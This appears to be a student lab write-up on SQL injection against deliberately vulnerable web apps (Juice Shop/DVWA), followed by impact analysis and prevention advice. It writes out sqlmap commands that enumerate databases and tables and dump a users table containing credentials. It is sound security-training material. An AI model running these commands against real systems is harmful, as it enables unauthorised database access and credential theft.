📘 TASK 08 – SQL Injection Practical Exploitation

🧠 Objective

The objective of this task is to understand **SQL Injection vulnerabilities**, exploit them using **SQLMap**, analyze the **impact on databases**, and suggest **secure coding fixes** to prevent such attacks.

🛠 Tools Used

- **SQLMap**
- **Burp Suite Community**
- **Vulnerable Web Application (Juice Shop / DVWA)**

💉 Practical Implementation

🔹 Step 1: Identify Injectable Parameter

A login form was identified that accepts user input via username and password fields.
Such input fields are common targets for SQL Injection attacks.

🔹 Step 2: Capture Request using Burp Suite

- Burp Suite was used to intercept the login request.
- Dummy credentials were submitted.
- The intercepted POST request was saved for further testing.

🔹 Step 3: SQL Injection Testing with SQLMap

SQLMap was used to analyze the captured request.

SQLMap Command Used:

sqlmap -r login_request.txt --dbs

🔹 Step 4: Database Enumeration

SQLMap successfully detected SQL Injection and extracted database names.

available databases:

[*] main_db

[*] users_db

🔹 **Step 5: Table Extraction**

sqlmap -r login_request.txt -D users_db --tables

Example tables found:

- users
- accounts
- credentials

🔹 **Step 6: Data Extraction**

sqlmap -r login_request.txt -D users_db -T users --dump

Sensitive information such as usernames and passwords were extracted.

⚠️ **Impact Analysis**

- Attackers can access **entire databases**
- Leakage of **credentials and personal data**
- Possibility of **account takeover**
- Severe **privacy and financial risks**

🛡 **Prevention & Mitigation**

- Use **Prepared Statements / Parameterized Queries**
- Validate and sanitize all user inputs
- Implement **Least Privilege** for database users
- Use **Web Application Firewalls (WAF)**
- Avoid displaying database error messages

✅ **Final Outcome**

This task provided hands-on experience in:

- Identifying SQL Injection vulnerabilities
- Exploiting them using SQLMap
- Understanding real-world impact
- Learning secure coding practices